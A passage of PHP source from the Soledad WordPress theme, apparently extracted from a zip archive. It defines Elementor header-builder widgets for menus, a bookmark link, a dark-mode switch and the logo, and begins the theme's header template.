				'label'      => 'Menu Item Spacing',
				'type'       => \Elementor\Controls_Manager::SLIDER,
				'range'      => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors'  => array(
					'{{WRAPPER}} .pchgbel .menu li a' => 'padding-top: {{SIZE}}px;padding-bottom: {{SIZE}}px;',
				),
			)
		);

		$this->end_controls_section();

	}

	private function get_available_menus() {
		$menus = wp_get_nav_menus();

		$options = [];

		foreach ( $menus as $menu ) {
			$options[ $menu->slug ] = $menu->name;
		}

		return $options;
	}

	protected function render() {

		$available_menus = $this->get_available_menus();

		if ( ! $available_menus ) {
			return;
		}

		$settings = $this->get_settings();

		$menu_id      = $settings['header_menu'] ? $settings['header_menu'] : '';
		$parent_click = $settings['vernav_click_parent'];
		$classes      = [];
		$classes[]    = penci_get_builder_mod( 'penci_header_pb_dropdown_menu_class', 'no-class' );
		$classes[]    = $parent_click ? 'penci-vernav-cparent pchb-cparent' : 'normal-click';
		add_filter( 'theme_mod_penci_vernav_click_parent', function ( $value ) use ($parent_click) {
			if ( $parent_click ) {
				$value = true;
			}

			return $value;
		} );
		?>
		<div class="penci-menu-hbg-ele pchgbel">
			<div class="pc-builder-element pc-builder-menu pc-dropdown-menu">
				<nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
					<?php if ( ! penci_get_builder_mod( 'penci_schema_sitenav' ) ): ?>itemscope
					itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
					<?php
					$args = array(
						'container'   => false,
						'menu_class'  => 'menu menu-hgb-main',
						'fallback_cb' => 'penci_menu_fallback',
						'walker'      => new penci_menu_builder_walker_nav_menu()
					);
					if ( $menu_id ) {
						$args['menu'] = $menu_id;
					} else {
						$args['location'] = 'primary-menu';
					}
					wp_nav_menu( $args );
					?>
				</nav>
			</div>
		</div>
		<?php

	}
}PK     2w\׫    -  template-builder/header-elements/bookmark.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderBookmark extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Bookmark', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'bookmark' ];
	}

	public function get_name() {
		return 'penci-header-bookmark';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'btn_text', [
			'label' => esc_html__( 'Button Text', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::TEXT,
		] );

		$this->add_control( 'btn_target', [
			'label'   => esc_html__( 'Link Target', 'soledad' ),
			'default' => '_self',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => [
				'_blank'  => __( 'Blank', 'soledad' ),
				'_self'   => __( 'Self', 'soledad' ),
				'_parent' => __( 'Parent', 'soledad' ),
				'_top'    => __( 'Top', 'soledad' ),
			]
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'btn_text_color', [
			'label' => esc_html__( 'Button Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .penci-builder-element.top-search-classes a' => 'color:{{VALUE}}']
		] );
		
		$this->add_control( 'btn_text_hvcolor', [
			'label' => esc_html__( 'Button Hover Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['{{WRAPPER}} .penci-builder-element.top-search-classes a:hover' => 'color:{{VALUE}}']
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btn_text_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-builder-element.top-search-classes a',
		) );

		$this->end_controls_section();

	}

	protected function render() {
		$settings        = $this->get_settings();
		$btn_link_target = $settings['btn_target'];
		$btn_title       = $settings['btn_text'];
		$btn_title = ! empty( $btn_title ) ? $btn_title : '';

		$pages = get_option( 'penci_bl_set_pages' );
		if ( isset( $pages['subscribe_manage_page'] ) && $pages['subscribe_manage_page'] ) {
			echo '<div id="penci-header-bookmark" class="penci-header-bookmark-element penci-builder-element top-search-classes"><a title="' . penci_get_setting( 'penci_trans_bookmark' ) . '" target="' . $btn_link_target . '" href="' . esc_url( get_page_link( $pages['subscribe_manage_page'] ) ) . '">' . penci_icon_by_ver( 'fa fa-bookmark-o' ) . $btn_title . '</a></div>';
		}

	}
}PK     2w\G    -  template-builder/header-elements/darkmode.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderDarkmode extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Dark Mode', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'darkmode' ];
	}

	public function get_name() {
		return 'penci-header-darkmode';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'btn_notice', [
			'type'    => \Elementor\Controls_Manager::ALERT,
			'alert_type' => 'warning',
			'content'    => __( 'Please go to "Appearance > Customize > Dark Mode/Dark Theme": turn on the "Enable Dark Mode Switcher" option before using this feature.', 'soledad' ),
			'render_type' => 'ui',
		] );
		
		$this->add_control( 'btn_style', [
			'label'   => esc_html__( 'Style', 'soledad' ),
			'default' => '3',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => [
				'1' => __( 'Style 1', 'soledad' ),
				'2' => __( 'Style 2', 'soledad' ),
				'3' => __( 'Style 3', 'soledad' ),
				'4' => __( 'Style 4', 'soledad' ),
			]
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'bgcolor', [
			'label' => esc_html__( 'Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btnbg:{{VALUE}}']
		] );

		$this->add_control( 'dcolor', [
			'label' => esc_html__( 'Day Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btnd:{{VALUE}}']
		] );

		$this->add_control( 'dbgcolor', [
			'label' => esc_html__( 'Day Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btndbg:{{VALUE}}']
		] );

		$this->add_control( 'ncolor', [
			'label' => esc_html__( 'Night Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btnn:{{VALUE}}']
		] );

		$this->add_control( 'nbgcolor', [
			'label' => esc_html__( 'Night Background Color', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::COLOR,
			'selectors' => ['body {{WRAPPER}} .pc-dmswitcher-element' => '--pcdm_btnnbg:{{VALUE}}']
		] );


		$this->end_controls_section();

	}

	protected function render() {
		$settings = $this->get_settings();
		$style = $settings['btn_style'];
		?>
		<div class="pb-header-builder pc-dmswitcher-element">
			<div class="pc_dm_mode style_<?php echo esc_attr( $style ); ?>">
				<label class="pc_dm_switch">
					<input type="checkbox" class="pc_dark_mode_toggle" aria-label="Darkmode Switcher">
					<span class="slider round"></span>
				</label>
			</div>
		</div>

		<?php
	}
}PK     2w\ܼ$  $  )  template-builder/header-elements/logo.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderLogo extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Logo', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-logo';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'logo' ];
	}

	public function get_name() {
		return 'penci-header-logo';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->start_controls_tabs( 'logo_settings' );

		$this->start_controls_tab(
			'logo_normal', array(
				'label' => __( 'Normal', 'soledad' )
			)
		);

		$this->add_control( 'logo_img', [
			'label'   => esc_html__( 'Logo Image', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::MEDIA,
			'default' => array( 'url' => PENCI_SOLEDAD_URL . '/images/logo.png' ),
		] );

		$this->end_controls_tab();

		$this->start_controls_tab(
			'logo_darkmode', array(
				'label' => __( 'Dark Mode', 'soledad' )
			)
		);

		$this->add_control( 'logo_img_dark', [
			'label'   => esc_html__( 'Logo Image for Dark Mode', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::MEDIA,
			'default' => array( 'url' => PENCI_SOLEDAD_URL . '/images/logo.png' ),
		] );
		
		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_group_control(
			\Elementor\Group_Control_Image_Size::get_type(),
			[
				'name'    => 'image_size',
				'default' => 'large',
			]
		);

		$this->add_control( 'logo_slogan', [
			'label'   => esc_html__( 'Logo Slogan', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::TEXT,
			'default' => get_option( 'blogdescription' ),
		] );


		$this->add_control( 'link_to', [
			'label'   => esc_html__( 'Link To', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'site_url',
			'options' => [
				'none'     => esc_html__( 'None', 'soledad' ),
				'site_url' => esc_html__( 'Site URL', 'soledad' ),
				'custom'   => esc_html__( 'Custom URL', 'soledad' ),
			],
		] );

		$this->add_control(
			'url',
			[
				'label'              => esc_html__( 'URL', 'soledad' ),
				'type'               => \Elementor\Controls_Manager::URL,
				'condition'          => [
					'link_to' => 'custom',
				],
				'frontend_available' => true,
				'dynamic'            => [
					'active' => true,
				],
			]
		);

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_responsive_control(
			'align',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::CHOOSE,
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}}' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'width',
			[
				'label'          => esc_html__( 'Width', 'soledad' ),
				'type'           => \Elementor\Controls_Manager::SLIDER,
				'default'        => [
					'unit' => '%',
				],
				'tablet_default' => [
					'unit' => '%',
				],
				'mobile_default' => [
					'unit' => '%',
				],
				'size_units'     => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ],
				'range'          => [
					'%'  => [
						'min' => 1,
						'max' => 100,
					],
					'px' => [
						'min' => 1,
						'max' => 1000,
					],
					'vw' => [
						'min' => 1,
						'max' => 100,
					],
				],
				'selectors'      => [
					'{{WRAPPER}} .penci-mainlogo' => 'max-width:100%;width: {{SIZE}}{{UNIT}};height:auto',
				],
			]
		);

		$this->add_responsive_control(
			'height',
			[
				'label'      => esc_html__( 'Height', 'soledad' ),
				'type'       => \Elementor\Controls_Manager::SLIDER,
				'size_units' => [ 'px', '%', 'em', 'rem', 'vh', 'custom' ],
				'range'      => [
					'px' => [
						'min' => 1,
						'max' => 500,
					],
					'vh' => [
						'min' => 1,
						'max' => 100,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-mainlogo' => 'height: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->start_controls_tabs( 'image_effects' );

		$this->start_controls_tab( 'normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'opacity',
			[
				'label'     => esc_html__( 'Opacity', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'max'  => 1,
						'min'  => 0.10,
						'step' => 0.01,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-mainlogo' => 'opacity: {{SIZE}};',
				],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Css_Filter::get_type(),
			[
				'name'     => 'css_filters',
				'selector' => '{{WRAPPER}} .penci-mainlogo',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab( 'hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'opacity_hover',
			[
				'label'     => esc_html__( 'Opacity', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'max'  => 1,
						'min'  => 0.10,
						'step' => 0.01,
					],
				],
				'selectors' => [
					'{{WRAPPER}}:hover .penci-mainlogo' => 'opacity: {{SIZE}};',
				],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Css_Filter::get_type(),
			[
				'name'     => 'css_filters_hover',
				'selector' => '{{WRAPPER}}:hover .penci-mainlogo',
			]
		);

		$this->add_control(
			'background_hover_transition',
			[
				'label'     => esc_html__( 'Transition Duration', 'soledad' ) . ' (s)',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 0,
						'max'  => 3,
						'step' => 0.1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-mainlogo' => 'transition-duration: {{SIZE}}s',
				],
			]
		);

		$this->add_control(
			'hover_animation',
			[
				'label' => esc_html__( 'Hover Animation', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::HOVER_ANIMATION,
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_group_control(
			\Elementor\Group_Control_Border::get_type(),
			[
				'name'      => 'image_border',
				'selector'  => '{{WRAPPER}} .penci-mainlogo',
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'image_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-mainlogo' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'image_box_shadow',
				'exclude'  => [
					'box_shadow_position',
				],
				'selector' => '{{WRAPPER}} .penci-mainlogo',
			]
		);

		$this->end_controls_section();

	}

	protected function get_link_url( $settings ) {
		switch ( $settings['link_to'] ) {
			case 'none':
				return [ 'url' => '#' ];

			case 'custom':
				return ( ! empty( $settings['link']['url'] ) ) ? $settings['link'] : false;

			case 'site_url':
				return [ 'url' => home_url( '/' ) ];

			default:
				return [ 'url' => $settings['logo_img']['url'] ];
		}
	}

	protected function render() {
		$settings       = $this->get_settings();
		$logo_src       = isset( $settings['logo_img']['url'] ) ? $settings['logo_img']['url'] : '';
		$dark_logo      = isset( $settings['logo_img_dark']['url'] ) ? $settings['logo_img_dark']['url'] : '';
		$data_dark_logo = '';
		$logo_slogan    = $settings['logo_slogan'];
		$logo_url       = $this->get_link_url( $settings );
		if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
			$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
			$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
		}
		?>
        <div class="pc-builder-element pc-logo pc-logo-desktop penci-header-image-logo">
            <a rel="home" href="<?php echo esc_url( $logo_url['url'] ); ?>">
                <img class="penci-mainlogo penci-limg pclogo-cls" <?php echo $data_dark_logo; ?>
                     src="<?php echo esc_url( $logo_src ); ?>"
                     alt="<?php bloginfo( 'name' ); ?>"
                     width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                     height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
				<?php if ( ! empty( $logo_slogan ) ): ?>
                    <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
				<?php endif; ?>
            </a>
        </div>
		<?php
	}
}PK     2w\^Z(&  &  )  template-builder/header-elements/menu.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciHeaderMenu extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Header - Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-nav-menu';
	}

	public function get_categories() {
		return [ 'penci-header-builder' ];
	}

	public function get_keywords() {
		return [ 'menu' ];
	}

	public function get_name() {
		return 'penci-header-menu';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );


		$menus = $this->get_available_menus();

		if ( ! empty( $menus ) ) {
			$this->add_control(
				'header_menu',
				[
					'label'        => __( 'Menu', 'soledad' ),
					'type'         => \Elementor\Controls_Manager::SELECT,
					'options'      => $menus,
					'default'      => array_keys( $menus )[0],
					'save_default' => true,
					'separator'    => 'after',
					'description'  => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to manage your menus. Please note that: The Footer Nav Menu does not support showing sub-menu items. All sub-menus will be hidden.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
				]
			);
		} else {
			$this->add_control(
				'header_menu',
				[
					'type'            => \Elementor\Controls_Manager::RAW_HTML,
					'raw'             => '<strong>' . __( 'There are no menus in your site.', 'soledad' ) . '</strong><br>' . sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to create one.', 'soledad' ), admin_url( 'nav-menus.php?action=edit&menu=0' ) ),
					'separator'       => 'after',
					'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
				]
			);
		}

		$this->add_control( 'header_padding', [
			'label' => esc_html__( 'Disable Padding', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );
		
		$this->add_control( 'header_vertical_mode', [
			'label' => esc_html__( 'Vertical Mode', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_header_menu_style', [
			'label'   => esc_html__( 'Sub Menu Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => [
				'style-1'   => __( 'Style 1', 'soledad' ),
				'style-3'   => __( 'Style 2', 'soledad' ),
				'style-2'   => __( 'Style 3', 'soledad' ),
			]
		] );

		$this->add_control( 'header_remove_line_hover', [
			'label'       => esc_html__( 'Hide Line When Hover on Menu Items Level 1', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SWITCHER,
			'condition'   => [ 'penci_header_menu_style' => 'style-3' ],
		] );

		$this->end_controls_section();

		// style
		$this->start_controls_section( 'content_style', [
			'label' => esc_html__( 'Style', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'menu_nav_main_head', [
			'label' => esc_html__( 'Main Menu Items', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'menu_item_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .navigation .menu > li > a',
		) );

		$this->add_control( 'menu_item_height', [
			'label'     => esc_html__( 'Menu Item Height', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [ '{{WRAPPER}} .navigation .menu > li > a' => 'line-height: {{SIZE}}px' ]
		] );
		
		$this->add_control( 'menu_item_color', [
			'label'     => esc_html__( 'Menu Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation .menu > li > a, {{WRAPPER}} .navigation ul.menu ul.sub-menu a' => 'color: {{VALUE}}' ]
		] );

		$this->add_control( 'menu_item_hvcolor', [
			'label'     => esc_html__( 'Menu Hover Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current_page_item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li:hover > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li > a:hover' => 'color: {{VALUE}}' ]
		] );
		
		$this->add_control( 'menu_item_crbgcolor', [
			'label'     => esc_html__( 'Menu Current Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => ['header_padding!'=>'yes'],
			'selectors' => [ '{{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current_page_item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li:hover > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li > a:hover' => 'background: {{VALUE}}' ]
		] );
		
		$this->add_control( 'menu_item_crtxtcolor', [
			'label'     => esc_html__( 'Menu Current Text Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => ['header_padding!'=>'yes'],
			'selectors' => [ '{{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current-menu-item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li.current_page_item > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li:hover > a, {{WRAPPER}} .navigation.menu-item-padding .menu > li > a:hover' => 'color: {{VALUE}}' ]
		] );

		$this->add_responsive_control( 'menu_item_cpadding', [
			'label'     => esc_html__( 'Custom Padding', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'selectors' => [ '{{WRAPPER}} .navigation.menu-item-padding .menu > ul > li > a, {{WRAPPER}} .navigation.menu-item-padding ul.menu > li > a' => 'padding-left: {{SIZE}}px;padding-right: {{SIZE}}px' ]
		] );
		
		$this->add_responsive_control( 'menu_item_bdcolor', [
			'label'     => esc_html__( 'Border Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation ul.menu > li' => 'border-color: {{VALUE}}px;' ]
		] );
		
		$this->add_responsive_control( 'menu_item_bdwidth', [
			'label'     => esc_html__( 'Border Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::DIMENSIONS,
			'selectors' => [ '{{WRAPPER}} .navigation ul.menu > li' => 'border-width: {{TOP}}px {{RIGHT}}px {{BOTTOM}}px {{LEFT}}px;' ],
		] );

		$this->add_control( 'menu_nav_sub_head', [
			'label' => esc_html__( 'Sub Menu Items', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sub_menu_item_typo',
			'label'    => __( 'Sub Menu Item Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .navigation ul.menu ul.sub-menu li a',
		) );

		$this->add_control( 'menu_item_subbg', [
			'label'     => esc_html__( 'Sub Menu Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation .menu .children, {{WRAPPER}} .navigation .menu .sub-menu' => 'background: {{VALUE}}' ]
		] );

		$this->add_control( 'menu_item_style_btcolor', [
			'label'     => esc_html__( 'Menu Style 2 Border Top Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation.menu-style-2 ul.menu ul.sub-menu:before' => 'background: {{VALUE}}' ]
		] );
		
		$this->add_control( 'menu_item_subcls', [
			'label'     => esc_html__( 'Sub Menu Item Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation ul.menu ul.sub-menu > li > a' => 'color: {{VALUE}}' ]
		] );
		
		$this->add_control( 'menu_item_subhvcls', [
			'label'     => esc_html__( 'Sub Menu Item Hover Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .navigation ul.menu ul.sub-menu > li > a:hover' => 'color: {{VALUE}}' ]
		] );

		$this->end_controls_section();

	}

	private function get_available_menus() {
		$menus = wp_get_nav_menus();

		$options = [];

		foreach ( $menus as $menu ) {
			$options[ $menu->slug ] = $menu->name;
		}

		return $options;
	}

	protected function render() {

		$available_menus = $this->get_available_menus();

		if ( ! $available_menus ) {
			return;
		}

		$settings = $this->get_settings();

		$menu_id = $settings['header_menu'] ? $settings['header_menu'] : '';
		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
				$menu_id = $pmeta_page_header['main_nav_menu'];
			}
		}
		$classes = [];

		if ( $settings['header_vertical_mode'] ) {
			$classes[] = 'pchdvertical-enabled';
		}

		$classes[] = 'navigation pc-elehd-menu';
		$classes[] = 'menu-' . $settings['penci_header_menu_style'];
		$classes[] = $settings['header_padding'] ? 'menu-item-normal' : 'menu-item-padding';
		$classes[] = $settings['header_remove_line_hover'] ? 'pcremove-lineh' : '';
		?>
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
             itemtype="https://schema.org/SiteNavigationElement">
			<?php
			wp_nav_menu( array(
				'menu'        => $menu_id,
				'container'   => false,
				'menu_class'  => 'menu',
				'fallback_cb' => 'penci_menu_fallback',
				'walker'      => new penci_menu_builder_walker_nav_menu()
			) );
			?>
        </nav>
		<?php
	}
}PK     2w\K*a    +  template-builder/header-elements/header.phpnu [        <?php
/**
 * The Header for our theme
 *
 * @package    WordPress
 * @since      1.0
 */
if ( isset( $_SERVER['HTTP_X_PJAX'] ) && $_SERVER['HTTP_X_PJAX'] === 'true' ) {
	return;
}
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
    <meta charset="<?php bloginfo( 'charset' ); ?>">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="profile" href="https://gmpg.org/xfn/11"/>
    <link rel="alternate" type="application/rss+xml" title="<?php bloginfo( 'name' ); ?> RSS Feed"
          href="<?php bloginfo( 'rss2_url' ); ?>"/>
    <link rel="alternate" type="application/atom+xml" title="<?php bloginfo( 'name' ); ?> Atom Feed"
          href="<?php bloginfo( 'atom_url' ); ?>"/>
    <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>"/>
    <!--[if lt IE 9]>
	<script src="<?php echo PENCI_SOLEDAD_URL; ?>/js/html5.js"></script>
	<![endif]-->
	<?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>
<?php /* body open action */
if ( function_exists( 'wp_body_open' ) ) {
	wp_body_open();
} else {
	do_action( 'wp_body_open' );
}
?>
<?php
if ( get_theme_mod( 'penci_custom_code_after_body_tag' ) ):
	echo do_shortcode( get_theme_mod( 'penci_custom_code_after_body_tag' ) );
endif;
?>
<?php
$penci_hide_header = $show_page_title = false;
if ( is_page() ) {
	$penci_hide_header = get_post_meta( get_the_ID(), 'penci_page_hide_header', true );

	$show_page_title  = get_theme_mod( 'penci_pheader_show' );
	$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

	$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
	if ( 'enable' == $pheader_show ) {
		$show_page_title = true;
	} elseif ( 'disable' == $pheader_show ) {
		$show_page_title = false;
	}
} else if ( is_single() ) {
	$penci_hide_header = penci_is_hide_header();
}

/**
 * Get header layout in your customizer to change header layout
 *
 * @author PenciDesign
 */
$header_layout = penci_soledad_get_header_layout();
$menu_style    = get_theme_mod( 'penci_header_menu_style' ) ? get_theme_mod( 'penci_header_menu_style' ) : 'menu-style-1';

$header_class = $header_layout;
if ( $header_layout == 'header-9' ) {
	$header_class = 'header-6 header-9';
}

if ( get_theme_mod( 'penci_vertical_nav_show' ) ) {
	get_template_part( 'template-parts/menu-hamburger' );
}

$class_wrapper_boxed = 'wrapper-boxed header-style-' . esc_attr( $header_layout );
if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
	$class_wrapper_boxed .= ' enable-boxed';
}
if ( get_theme_mod( 'penci_enable_dark_layout' ) ) {
	$class_wrapper_boxed .= ' dark-layout-enabled';
}
if ( $penci_hide_header ) {
	$class_wrapper_boxed .= ' penci-page-hide-header';
}
if ( get_theme_mod( 'penci_header_logo_mobile_center' ) ) {
	$class_wrapper_boxed .= ' penci-hlogo-center';
}

$header_search_style =  apply_filters( 'penci_topbar_search_style', 'showup' );
